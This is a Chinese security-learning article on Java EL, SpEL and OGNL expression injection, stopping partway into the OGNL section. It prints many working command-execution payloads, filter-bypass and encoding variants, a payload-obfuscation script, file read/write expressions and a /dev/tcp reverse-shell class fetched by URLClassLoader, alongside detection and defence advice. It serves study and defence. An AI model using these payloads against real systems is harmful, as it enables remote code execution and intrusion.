freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Java安全学习—表达式注入
2022-03-21 22:22:44
所属地 海外

前言

Java安全学习中, 常见的表达式注入方式有EL表达式注入、SpEL表达式注入和OGNL表达式注入, 这里来对其进行一个简略的分析.

EL表达式注入

EL 简介

EL(Expression Language)是为了使JSP写起来更加简单. 表达式语言的灵感来自于ECMAScriptXPath表达式语言, 它提供了在JSP中简化表达式的方法, 让JSP的代码更加简化.

EL表达式主要功能如下:

获取数据:EL表达式主要用于替换JSP页面中的脚本表达式, 以从各种类型的Web域中检索Java对象、获取数据(某个Web域中的对象, 访问JavaBean的属性、访问List集合、访问Map集合、访问数组).

执行运算: 利用EL表达式可以在JSP页面中执行一些基本的关系运算、逻辑运算和算术运算, 以在JSP页面中完成一些简单的逻辑运算, 例如${user==null}.

获取Web开发常用对象:EL表达式定义了一些隐式对象, 利用这些隐式对象,Web开发人员可以很轻松获得对Web常用对象的引用, 从而获得这些对象中的数据.

调用Java方法:EL表达式允许用户开发自定义EL函数, 以在JSP页面中通过EL表达式调用Java类的方法.

EL表达式特点如下:

可得到PageContext属性值.

可直接访问JSP的内置对象, 如page,request,session,application等.

运算符丰富, 有关系运算符、逻辑运算符、算术运算符等.

扩展函数可与JAVA类的静态方法对应.

EL 基本语法

JSP中访问模型对象是通过EL表达式的语法来表达. 所有EL表达式的格式都是以${}表示. 例如,${userinfo}代表获取变量userinfo的值. 当EL表达式中的变量不给定范围时, 则默认在page范围查找, 然后依次在requestsessionapplication范围查找. 也可以用范围作为前缀表示属于哪个范围的变量, 例如:${pageScope. userinfo}表示访问page范围中的userinfo变量.

[] 与 . 运算符

EL表达式提供.[]两种运算符来存取数据. 当要存取的属性名称中包含一些特殊字符, 如.-等并非字母或数字的符号, 就一定要使用[]. 例如:${user.My-Name}应当改为${user["My-Name"]}. 如果要动态取值时, 就可以用[]来做, 而.无法做到动态取值, 例如:${sessionScope.user[data]}data是一个变量.

变量

EL表达式存取变量数据的方法很简单, 例如:${username}. 它的意思是取出某一范围中名称为username的变量. 因为我们并没有指定哪一个范围的username, 所以它会依序从PageRequestSessionApplication范围查找. 假如途中找到username, 就直接回传, 不再继续找下去, 但是假如全部的范围都没有找到时, 就回传"".

EL表达式的属性如下:



PagePageScope
RequestRequestScope
SessionSessionScope
ApplicationApplication

JSP表达式语言定义可在表达式中使用的以下文字:



Booleantruefalse
IntegerJava类似, 可以包含任何整数, 例如:24-45567
Floating PointJava类似, 可以包含任何正的或负的浮点数, 例如:-1.8E-454.567
String任何由单引号或双引号限定的字符串. 对于单引号、双引号和反斜杠, 使用反斜杠字符作为转义序列. 必须注意, 如果在字符串两端使用双引号, 则单引号不需要转义.
Nullnull

操作符

JSP表达式语言提供以下操作符, 其中大部分是Java中常用的操作符:

术语定义
算术型+-(二元)、*/div%mod-(一元).
逻辑型and&&or、`
关系型==eq!=ne<lt>gt<=le>=ge. 可以与其他值进行比较, 或与布尔型、字符串型、整型或浮点型文字进行比较.
empty空操作符是前缀操作, 可用于确定值是否为空.
条件型A ? B : C. 根据A赋值的结果来赋值BC.

隐式对象

JSP表达式语言定义了一组隐式对象, 其中许多对象在JSP Scriplet和表达式中可用:

术语定义
pageContextJSP页的上下文, 可以用于访问JSP隐式对象, 如请求、响应、会话、输出、servletContext等. 例如,${pageContext.response}为页面的响应对象赋值.

此外, 还提供几个隐式对象, 允许对以下对象进行简易访问:

术语定义
param将请求参数名称映射到单个字符串参数值(通过调用ServletRequest.getParameter(String name)获得).getParameter(String)方法返回带有特定名称的参数. 表达式${param.name}相当于request.getParameter(name).
paramValues将请求参数名称映射到一个数值数组(通过调用ServletRequest.getParameter(String name)获得). 它与param隐式对象非常类似, 但它检索一个字符串数组而不是单个值. 表达式${paramvalues.name}相当于request.getParamterValues(name).
header将请求头名称映射到单个字符串头值(通过调用ServletRequest.getHeader(String name)获得). 表达式${header.name}相当于request.getHeader(name).
headerValues将请求头名称映射到一个数值数组(通过调用ServletRequest.getHeaders(String)获得). 它与头隐式对象非常类似, 表达式${headerValues.name}相当于request.getHeaderValues(name).
cookiecookie名称映射到单个cookie对象. 向服务器发出的客户端请求可以获得一个或多个cookie. 表达式${cookie.name.value}返回带有特定名称的第一个cookie值. 如果请求包含多个同名的cookie, 则应该使用${headerValues.name}表达式.
initParam将上下文初始化参数名称映射到单个值(通过调用ServletContext.getInitparameter(String name)获得).

除了上述两种类型的隐式对象之外, 还有些对象允许访问多种范围的变量, 如Web 上下文会话请求页面:

术语定义
pageScope将页面范围的变量名称映射到其值. 例如,EL表达式可以使用${pageScope.objectName}访问一个JSP中页面范围的对象, 还可以使用${pageScope.objectName.attributeName}访问对象的属性.
requestScope将请求范围的变量名称映射到其值, 该对象允许访问请求对象的属性. 例如,EL表达式可以使用${requestScope.objectName}访问一个JSP请求范围的对象, 还可以使用${requestScope.objectName.attributeName}访问对象的属性.
sessionScope将会话范围的变量名称映射到其值, 该对象允许访问会话对象的属性. 例如,${sessionScope.name}.
applicationScope将应用程序范围的变量名称映射到其值, 该隐式对象允许访问应用程序范围的对象.

EL 函数

EL允许您在表达式中使用函数, 这些函数必须被定义在自定义标签库中. 要使用任何标签库中的函数, 需要将这些库安装在服务器中, 然后使用<taglib>标签在JSP文件中包含这些库. 函数的使用语法如下:

${ns:func(param1, param2, ...)}

ns: 命名空间
func: 指的是函数的名称
paramx: 参数

EL 调用 Java 方法

先新建一个ELFunc类, 其中定义的doSomething函数用于输出Hello, xxx!:

package h3rmek1t.javawebsecurity;

/**
 * @Author: H3rmesk1t
 * @Data: 2022/3/17 11:24 下午
 */
public class ELFunc {

    public static String doSomething(String str) {

        return "Hello, " + str + "!";
    }
}

接着在WEB-INF文件夹下新建test.tld文件, 其中指定执行的Java方法及其URI地址:

<?xml version="1.0" encoding="UTF-8"?>
<taglib version="2.0" xmlns="http://java.sun.com/xml/ns/j2ee"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd">
    <tlib-version>1.0</tlib-version>
    <short-name>ELFunc</short-name>
    <uri>http://www.h3rmesk1t.com/ELFunc</uri>
    <function>
        <name>doSomething</name>
        <function-class>h3rmek1t.javawebsecurity.ELFunc</function-class>
        <function-signature> java.lang.String doSomething(java.lang.String)</function-signature>
    </function>
</taglib>

JSP文件中, 先头部导入taglib标签库,URItest.tld中设置的URI地址,prefixtest.tld中设置的short-name, 然后直接在EL表达式中使用类名:方法名()的形式来调用该类方法即可:

<%@taglib uri="http://www.h3rmesk1t.com/ELFunc" prefix="ELFunc"%>
${ELFunc:doSomething("h3rmesk1t")}

image

JSP 中启动/禁用 EL 表达式

全局禁用 EL 表达式

web.xml中进行如下配置:

<jsp-config>
    <jsp-property-group>
        <url-pattern>*.jsp</url-pattern>
        <el-ignored>true</el-ignored>
    </jsp-property-group>
</jsp-config>

单个文件禁用 EL 表达式

JSP文件中可以有如下定义来表示是否禁用EL表达式,true表示禁止,false表示不禁止, 在JSP2.0中默认的启用EL表达式.

<%@ page isELIgnored="true" %>

image

EL 表达式注入漏洞

EL表达式注入漏洞原理: 表达式外部可控导致攻击者注入恶意表达式实现任意代码执行. 一般来说,EL表达式注入漏洞的外部可控点入口都是在Java程序代码中, 即Java程序中的EL表达式内容全部或部分是从外部获取的.

image

CVE-2011-2730

JUEL

EL曾经是JSTL的一部分, 然后EL进入了JSP 2.0标准. 现在EL API已被分离到包javax.el中, 并且已删除了对核心JSP类的所有依赖关系, 也就是说, 现在EL表达式所依赖的包javax.el等都在JUEL相关的jar包中.

JUEL(Java Unified Expression Language)是统一表达语言轻量而高效级的实现, 具有高性能、插件式缓存、小体积、支持方法调用和多参数调用、可插拔多种特性.

例如如下代码, 利用反射调用Runtime类方法实现命令执行:

<dependency>
    <groupId>de.odysseus.juel</groupId>
    <artifactId>juel-api</artifactId>
    <version>2.2.7</version>
</dependency>
<dependency>
    <groupId>de.odysseus.juel</groupId>
    <artifactId>juel-spi</artifactId>
    <version>2.2.7</version>
</dependency>
<dependency>
    <groupId>de.odysseus.juel</groupId>
    <artifactId>juel-impl</artifactId>
    <version>2.2.7</version>
</dependency>
package h3rmek1t.javawebsecurity;

import de.odysseus.el.ExpressionFactoryImpl;
import de.odysseus.el.util.SimpleContext;

import javax.el.ExpressionFactory;
import javax.el.ValueExpression;

/**
 * @Author: H3rmesk1t
 * @Data: 2022/3/18 12:05 上午
 */
public class ElShell {

    public static void main(String[] args) {

        ExpressionFactory expressionFactory = new ExpressionFactoryImpl();
        SimpleContext simpleContext = new SimpleContext();
        String shell = "${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'open -a Calculator')}";
        ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, shell, String.class);
        System.out.println(valueExpression.getValue(simpleContext));
    }
}

image

绕过方法

利用反射机制

JUEL中反射调用Runtime类方法实现命令执行.

利用 ScriptEngine 调用 JS 引擎绕过

这个和SpEL注入中的手法是一样的.

${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('open -a Calculator')")}

防御方法

尽量不使用外部输入的内容作为EL表达式内容;

使用外部输入的内容作为EL表达式内容时, 需严格过滤EL表达式注入漏洞的Payload关键字;

排查Java程序中JUEL相关代码, 搜索如下关键类方法

javax.el.ExpressionFactory.createValueExpression()

javax.el.ValueExpression.getValue()

参考

EL表达式

浅析EL表达式注入漏洞

SpEL表达式注入

SpEL 简介

Spring表达式语言(简称SpEl)是一个支持查询和操作运行时对象导航图功能的强大的表达式语言. 它的语法类似于传统EL, 但提供额外的功能, 最出色的就是函数调用和简单字符串的模板函数.

尽管有其他可选的Java表达式语言, 如OGNL,MVEL,JBoss EL等等, 但Spel创建的初衷是了给Spring社区提供一种简单而高效的表达式语言, 一种可贯穿整个Spring产品组的语言, 这种语言的特性应基于Spring产品的需求而设计. 虽然SpEL引擎作为Spring组合里的表达式解析的基础, 但它不直接依赖于Spring, 可独立使用.

SpEL特性:

使用BeanID来引用Bean;

可调用方法和访问对象的属性;

可对值进行算数、关系和逻辑运算;

可使用正则表达式进行匹配;

可进行集合操作.

SpEL表达式语言支持以下功能:

文字表达式.

布尔和关系运算符.

正则表达式.

类表达式.

访问properties,arrays,lists,maps.

方法调用.

关系运算符.

参数.

调用构造函数.

Bean引用.

构造Array.

内嵌lists.

内嵌maps.

三元运算符.

变量.

用户定义的函数.

集合投影.

集合筛选.

模板表达式.

SpEL 使用

SpEL的用法有三种形式, 一种是在注解@Value中, 一种是XML配置, 最后一种是在代码块中使用Expression.

注解 @Value 用法

@Value能修饰成员变量和方法形参,#{}内就是SpEL表达式的语法,Spring会根据SpEL表达式语法为变量赋值.

public class User {
    @Value("${ spring.user.name }")
    private String Username;
    @Value("#{ systemProperties['user.region'] }")
    private String defaultLocale;
    //...
}

XML 配置用法

SpEL表达式中, 使用T(Type)运算符会调用类的作用域和方法,T(Type)操作符会返回一个object, 它可以帮助获取某个类的静态方法, 用法T(全限定类名).方法名(), 即可以通过该类类型表达式来操作类, 例如:

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
    http://www.springframework.org/schema/beans/spring-beans-3.0.xsd ">

    <bean id="helloWorld" class="com.mi1k7ea.HelloWorld">
        <property name="message" value="#{T(java.lang.Runtime).getRuntime().exec('calc')}" />
    </bean>
</beans>

Expression 用法

各种Spring CVE漏洞基本都是基于Expression形式的SpEL表达式注入.

SpEL在求表达式值时一般分为四步:

  1. 创建解析器:SpEL使用ExpressionParser接口表示解析器, 提供SpelExpressionParser默认实现;

  2. 解析表达式: 使用ExpressionParserparseExpression来解析相应的表达式为Expression对象;

  3. 构造上下文: 准备比如变量定义等等表达式需要的上下文数据(可省);

  4. 求值: 通过Expression接口的getValue方法根据上下文获得表达式值.

主要接口:

ExpressionParser接口: 表示解析器, 默认实现是org.springframework.expression.spel.standard包中的SpelExpressionParser类, 使用parseExpression方法将字符串表达式转换为Expression对象, 对于ParserContext接口用于定义字符串表达式是不是模板, 以及模板开始与结束字符;

EvaluationContext接口: 表示上下文环境, 默认实现是org.springframework.expression.spel.support包中的StandardEvaluationContext类, 使用setRootObject方法来设置根对象, 使用setVariable方法来注册自定义变量, 使用registerFunction来注册自定义函数等等.

Expression接口: 表示表达式对象, 默认实现是org.springframework.expression.spel.standard包中的SpelExpression, 提供getValue方法用于获取表达式值, 提供setValue方法用于设置对象值.

示例代码如下, 和前面XML配置的用法区别在于程序会将这里传入parseExpression函数的字符串参数当成SpEL表达式来解析, 而无需通过#{}符号来注明:

// 操作类弹计算器, java.lang包下的类是可以省略包名的.
String spel = "T(java.lang.Runtime).getRuntime().exec(\"open -a Calculator\")";

// String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(spel);
System.out.println(expression.getValue());

在该用法中, 类实例化同样使用Java关键字new, 且类名必须是全限定名(java.lang包内的类型除外).

SpEL 表达式注入漏洞

漏洞原理

SimpleEvaluationContextStandardEvaluationContextSpEL提供的两个EvaluationContext:

SimpleEvaluationContext: 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别, 公开SpEL语言特性和配置选项的子集.

StandardEvaluationContext: 公开全套SpEL语言功能和配置选项, 可以使用它来指定默认的根对象并配置每个可用的评估相关策略.

SimpleEvaluationContext旨在仅支持SpEL语言语法的一个子集, 不包括Java类型引用、构造函数和bean引用; 而StandardEvaluationContext是支持全部SpEL语法的.

由前面知道,SpEL表达式是可以操作类及其方法的, 可以通过类类型表达式T(Type)来调用任意类方法. 这是因为在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext, 而它包含了SpEL的所有功能, 在允许用户控制输入的情况下可以成功造成任意命令执行.

image

过程分析

将断点打在getValue处, 跟进SpelExpression#getValue, 在创建实例ExpressionState时, 调用this.getEvaluationContext方法.

image

由于没有指定evaluationContext, 会默认获取StandardEvaluationContext实例, 上文讲了其包含了SpEL的所有功能, 这也就是命令得以执行的原因.

image

接着就是获取类然后调用相应的方法来执行命令.

RunTime

说明: 由于RunTime类使用了单例模式, 获取对象不能直接通过构造方法获得, 必须通过静态方法getRuntime来获得, 调用静态方法的话需要使用SpELT()操作符,T()操作符会返回一个object.

T(java.lang.Runtime).getRuntime().exec("open -a Calculator")
T(Runtime).getRuntime().exec(new String[]{"open", "-a", "Calculator"})

ScriptEngine

由于JS中的eval函数可以把字符串当成代码进行解析, 且从JDK6开始自带ScriptEngineManager这个类, 支持在JS中调用Java的对象. 因此, 可以利用Java调用JS引擎的eval, 然后在Payload中反过来调用Java对象.

获取所有JavaScript引擎信息:

public static void main(String[] args) {
    ScriptEngineManager manager = new ScriptEngineManager();
    List<ScriptEngineFactory> factories = manager.getEngineFactories();
    for (ScriptEngineFactory factory: factories){
            System.out.printf(
                "Name: %s%n" + "Version: %s%n" + "Language name: %s%n" +
                "Language version: %s%n" +
                "Extensions: %s%n" +
                "Mime types: %s%n" +
                "Names: %s%n",
                factory.getEngineName(),
                factory.getEngineVersion(),
                factory.getLanguageName(),
                factory.getLanguageVersion(),
                factory.getExtensions(),
                factory.getMimeTypes(),
                factory.getNames()
            );
    }
}

通过输出结果可以知道,getEngineByName的参数可以填nashorn,Nashorn,js,JS,JavaScript,javascript,ECMAScript,ecmascript.

// nashorn 可以换成其他的引擎名称
new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("s=[3];s[0]='open';s[1]='-a';s[2]='Calculator';java.lang.Runtime.getRuntime().exec(s);")

UrlClassLoader

JVM拥有多种ClassLoader, 不同的ClassLoader会从不同的地方加载字节码文件, 加载方式可以通过不同的文件目录加载, 也可以从不同的jar文件加载, 还包括使用网络服务地址来加载. 常见的几个重要的ClassLoader:BootstrapClassLoaderExtensionClassLoaderAppClassLoaderUrlClassLoader.

利用思路: 远程加载class文件, 通过函数调用或者静态代码块来调用. 先构造一份Exploit.class放到远程vps即可

例如, 通过构造方法反弹shellexp.java:

public class exp {
    public exp(String address) {
        address = address.replace(":","/");
        ProcessBuilder p = new ProcessBuilder("/bin/bash","-c","exec 5<>/dev/tcp/"+address+";cat <&5 | while read line; do $line 2>&5 >&5; done");
        try {
            p.start();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://127.0.0.1:9999/exp.jar")}).loadClass("exp").getConstructors()[0].newInstance("127.0.0.1:2333")

AppClassLoader

AppClassLoader直接面向用户, 它会加载Classpath环境变量里定义的路径中的jar包和目录. 由于双亲委派的存在, 它可以加载到我们想要的类. 使用的前提是获取, 获取AppClassLoader可以通过ClassLoader类的静态方法getSystemClassLoader.

T(ClassLoader).getSystemClassLoader().loadClass("java.lang.Runtime").getRuntime().exec("open -a Calculator")
T(ClassLoader).getSystemClassLoader().loadClass("java.lang.ProcessBuilder").getConstructors()[1].newInstance(new String[]{"open", "-a", "Calculator"}).start()

通过其他类获取 AppClassLoader

在实际项目中, 开发者往往会导入很多依赖的jar, 或编写自定义类.

例如, 这里利用类org.springframework.expression.Expression来获取AppClassLoader.

T(org.springframework.expression.spel.standard.SpelExpressionParser).getClassLoader().loadClass("java.lang.Runtime").getRuntime().exec("open -a Calculator")

image

例如, 这里利用自定义类h3rmek1t.javawebsecurity.ElShell来获取AppClassLoader.

T(h3rmek1t.javawebsecurity.ElShell).getClassLoader().loadClass("java.lang.Runtime").getRuntime().exec("open -a Calculator")

image

通过内置对象加载 UrlClassLoader

参考Spring SPEL注入漏洞利用.requestresponse对象是web项目的常客, 在web项目如果引入了spel的依赖, 那么这两个对象会自动被注册进去.

{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"touch/tmp/foobar\")}
username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('open -a Calculator')")]=asdf

ByPass

反射调用

T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("open -a Calculator")
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("open -a Calculator")

反射调用 && 字符串拼接

T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"open","-a","Calculator"})
#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"open","-a","Calculator"})

动态生成字符

当执行的系统命令被过滤或者被URL编码掉时, 可以通过String类动态生成字符.

  • Part1

T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(111).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(114)))
  • Part2

new java.lang.ProcessBuilder(new String[]{new java.lang.String(new byte[]{111,112,101,110}),new java.lang.String(new byte[]{45,97}),new java.lang.String(new byte[]{67,97,108,99,117,108,97,116,111,114})}).start()

用于String类动态生成字符的字符ASCII码转换生成:

def shell():
    shell = input('Enter shell to encode: ')

    part1_shell = 'T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(shell[0])
    for c in shell[1:]:
        part1_shell += '.concat(T(java.lang.Character).toString(%s))' % ord(c)
    part1_shell += ')'
    print('\nPart1: ')
    print(part1_shell + '\n')

    part2_shell = 'new java.lang.ProcessBuilder(new String[]{'
    args = shell.split(' ')
    len_args = len(args)
    len_temp = 0
    while(len_temp < len_args):
        temp = 'new java.lang.String(new byte[]{'
        for i in range(len(args[len_temp])):
            temp += str(ord(args[len_temp][i]))
            if (i != len(args[len_temp]) - 1):
                temp += ','
        temp += '})'
        part2_shell += temp
        len_temp += 1
        if len_temp != len_args:
            part2_shell += ','

    part2_shell += '}).start()'
    print('\nPart2: ')
    print(part2_shell + '\n')

if __name__ == '__main__':
    shell()

JavaScript 引擎

T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='open';s[1]='-a';s[2]='Calculator';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName(\"JavaScript\").eval(\"s=[3];s[0]='open';s[1]='-a';s[2]='Calculator';java.la\"+\"ng.Run\"+\"time.getRu\"+\"ntime().ex\"+\"ec(s);\"))

JavaScript 引擎 && 反射调用

T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"open","-a","Calculator"})))

JavaScript 引擎 && URL 编码

T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName(\"JavaScript\").eval(T(java.net.URLDecoder).decode(\"%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%6f%70%65%6e%20%2d%61%20%43%61%6c%63%75%6c%61%74%6f%72%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29\")))

JShell

JDK9中新增的shell.

T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('open -a Calculator').toString()

绕过 T( 过滤

SpEL对字符的编码时,%00会被直接替换为空.

T%00(new)

绕过 getClass(

// 这里的 15 可能需要替换为 14, 不同 jdk 版本的序号不同.
"".class.getSuperclass().class.forName("java.lang.Runtime").getDeclaredMethods()[15].invoke("".class.getSuperclass().class.forName("java.lang.Runtime").getDeclaredMethods()[7].invoke(null),"open -a Calculator")

回显

上文中讲述了如何通过SpEL执行系统命令, 接着来看看如何在一行SpEL语句中获得命令执行的回显.

commons-io

使用commons-io这个组件实现回显, 这种方式会受限于目标服务器是否存在这个组件,springboot默认环境下都没有用到这个组件.

T(org.apache.commons.io.IOUtils).toString(payload).getInputStream())

JShell

上文中的JShell是可以实现回显输出的, 但是这种方式会受限于jdk的版本问题.

T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()

BufferedReader

jdk原生类实现回显的输出, 但是该方法只能读取一行.

new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("whoami").start().getInputStream(), "gbk")).readLine()

Scanner

利用Scanner#useDelimiter方法使用指定的字符串分割输出, 因此这里给一个乱七八糟的字符串即可, 就会让所有的字符都在第一行, 然后执行next方法即可获得所有输出.

new java.util.Scanner(new java.lang.ProcessBuilder("ls", "/").start().getInputStream(), "GBK").useDelimiter("h3rmesk1t").next()

读写文件

  • 读文件

new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/C:/Users/helloworld/shell.jsp"))))
  • 写文件

T(java.nio.file.Files).write(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/C:/Users/helloworld/shell.jsp")), '123464987984949'.getBytes(), T(java.nio.file.StandardOpenOption).WRITE)

检测与防御

检测方法

全局搜索关键特征:

// 关键类
org.springframework.expression.Expression
org.springframework.expression.ExpressionParser
org.springframework.expression.spel.standard.SpelExpressionParser

// 调用特征
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(str);
expression.getValue()
expression.setValue()

防御方法

最直接的修复方法是使用SimpleEvaluationContext替换StandardEvaluationContext.

String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";
ExpressionParser parser = new SpelExpressionParser();
Student student = new Student();
EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().withRootObject(student).build();
Expression expression = parser.parseExpression(spel);
System.out.println(expression.getValue(context));

参考

SpEL注入RCE分析与绕过

SpEL表达式注入漏洞总结

Spring 表达式语言 (SpEL)

OGNL表达式注入

OGNL 简介

OGNLstands for Object-Graph Navigation Language; it is an expression language for getting and setting properties of Java objects, plus other extras such as list projection and selection and lambda expressions. You use the same expression for both getting and setting the value of a property.

The Ognl class contains convenience methods for evaluating OGNL expressions. You can do this in two stages, parsing an expression into an internal form and then using that internal form to either set or get the value of a property; or you can do it in a single stage, and get or set a property using the String form of the expression directly.

OGNL 三要素

表达式(Expression): 表达式是整个OGNL的核心内容, 所有的OGNL操作都是针对表达式解析后进行的. 通过表达式来告诉OGNL操作要干些什么. 因此, 表达式其实是一个带有语法含义的字符串, 整个字符串将规定操作的类型和内容.OGNL表达式支持大量的表达式, 如"链式访问对象"、表达式计算、甚至还支持Lambda表达式.

Root对象:OGNLRoot对象可以理解为OGNL的操作对象. 当指定了一个表达式的时候, 需要指定这个表达式针对的是哪个具体的对象. 而这个具体的对象就是Root对象, 这就意味着, 如果有一个OGNL表达式, 则需要针对Root对象来进行OGNL表达式的计算并且返回结果.

上下文环境: 有个Root对象和表达式, 就可以使用OGNL进行简单的操作了, 如对Root对象的赋值与取值操作. 但是, 实际上在OGNL的内部, 所有的操作都会在一个特定的数据环境中运行. 这个数据环境就是上下文环境(Context).OGNL的上下文环境是一个Map结构, 称之为OgnlContext.Root对象也会被添加到上下文环境当中去, 简而言之, 上下文就是一个MAP结构, 它实现了java.utils.Map的接口.

Struct2ActionContexOGNLContext, 其中包含的ValueStack即为OGNLRoot.

ActionContext

ActionContext是上下文对象, 对应OGNLContext, 是一个以MAP为结构、利用键值对关系来描述对象中的属性以及值的对象, 简单来说可以理解为一个action的小型数据库, 整个action生命周期(线程)中所使用的数据都在这个ActionContext中.

image

除了三个常见的作用域requestsessionapplication外, 还有以下三个作用域:

attr: 保存着上面三个作用域的所有属性, 如果有重复的则以request域中的属性为基准;

paramters: 保存的是表单提交的参数;

VALUE_STACK: 值栈, 保存着valueStack对象, 也就是说可以通过ActionContext访问到valueStack中的值.

ValueStack

值栈(ValueStack)就是OGNL表达式存取数据的地方. 在一个值栈中封装了一次请求所需要的所有数据.

在使用Struts2的项目中,Struts2会为每个请求创建一个新的值栈, 也就是说, 值栈和请求是一一对应的关系, 这种一一对应的关系使值栈能够线程安全地为每个请求提供公共的数据存取服务.

值栈可以作为一个数据中转站在前台与后台之间传递数据, 最常见的就是将Struts2的标签与OGNL表达式结合使用. 值栈实际上是一个接口, 在Struts2中利用OGNL时, 实际上使用的就是实现了该接口的OgnlValueStack类, 这个类是OGNL的基础. 值栈贯穿整个Action的生命周期, 每个Action类的对象实例都拥有一个ValueStack对象, 在ValueStack对象中保存了当前Action对象和其他相关对象. 要获取值栈中存储的数据, 首先应该获取值栈, 值栈的获取有两种方式.

在 request 中获取值栈

ValueStack对象在request范围内的存储方式为request.setAttribute("struts.valueStack",valuestack), 可以通过如下方式从request中取出值栈的信息:

//获取 ValueStack 对象,通过 request 对象获取
ValueStack valueStack = (ValueStack)ServletActionContext.getRequest().getAttribute(ServletActionContext.STRUTS_VALUESTACK_KEY);

在 ActionContext 中获取值栈

在使用Struts2框架时, 可以使用OGNL操作Context对象从ValueStack中存取数据, 也就是说, 可以从Context对象中获取ValueStack对象. 实际上,Struts2框架中的Context对象就是ActionContext.

ActionContext获取ValueStack对象的方式如下所示:

// 通过 ActionContext 获取 valueStack 对象.
ValueStack valueStack = ActionContext.getContext().getValueStack();

ActionContext对象是在StrutsPrepareAndExcuteFilter#doFilter方法中被创建的, 在源码中用于创建ActionContext对象的createActionContext方法内可以找到获取的ValueStack对象的信息. 方法中还有这样一段代码:

ctx = new ActionContext(stack.getContext());

从上述代码中可以看出,ValueStack对象中的Context对象被作为参数传递给了ActionContext对象, 这也就说明ActionContext对象中持有了ValueStack对象的引用, 因此可以通过ActionContext对象获取ValueStack对象.

OGNL 基本语法

OGNL支持各种纷繁复杂的表达式, 但是最最基本的表达式的原型是将对象的引用值用点从左到右串联起来, 每一次表达式计算返回的结果成为当前对象, 后面部分接着在当前对象上进行计算, 一直到全部表达式计算完成, 返回最后得到的对象.OGNL则针对这条基本原则进行不断的扩充, 从而使之支持对象树、数组、容器的访问, 甚至是类似SQL中的投影选择等操作.

基本对象树访问

